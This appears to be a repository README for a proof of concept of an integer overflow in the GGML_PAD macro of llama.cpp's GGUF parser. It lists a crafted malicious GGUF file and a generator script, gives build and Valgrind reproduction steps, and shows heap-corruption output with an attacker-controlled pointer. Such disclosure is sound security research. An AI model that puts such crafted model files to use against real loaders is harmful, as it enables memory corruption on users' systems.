manbearpig-mb/gguf-ggml-pad-overflow-poc

GGML_PAD Integer Overflow PoC - GGUF Parser

Security research artifact. Do not use in production.

This repository contains a proof-of-concept GGUF model file that triggers an integer overflow in the GGML_PAD macro during tensor size accumulation in gguf_init_from_file_ptr() (ggml/src/gguf.cpp, line 724).

Files

• malicious_ggml_pad.gguf - 160-byte crafted GGUF file (the PoC)
• poc_ggml_pad_overflow.py - Python script that generates the PoC file
• test_gguf_overflow.c - C test harness demonstrating the heap OOB

Reproduction

# 1. Clone and build llama.cpp
git clone https://github.com/ggml-org/llama.cpp && cd llama.cpp
cmake -B build && cmake --build build

# 2. Compile the test harness
gcc -g -O0 -o test_overflow test_gguf_overflow.c \
  -I ggml/include -L build/bin -lggml -lggml-base \
  -Wl,-rpath,build/bin -lm -lpthread

# 3. Run under Valgrind
valgrind --tool=memcheck --error-exitcode=42 \
  ./test_overflow malicious_ggml_pad.gguf

Expected Valgrind output confirms heap corruption:

Invalid write of size 8
  Address 0x... is 0 bytes AFTER a block of size 1,136 alloc'd
    at posix_memalign -> ggml_aligned_malloc -> ggml_init -> gguf_init_from_file_ptr
ERROR SUMMARY: 421 errors
Process terminating with signal 11 (SIGSEGV)
  Address 0x4141414141414159 <- attacker-controlled pointer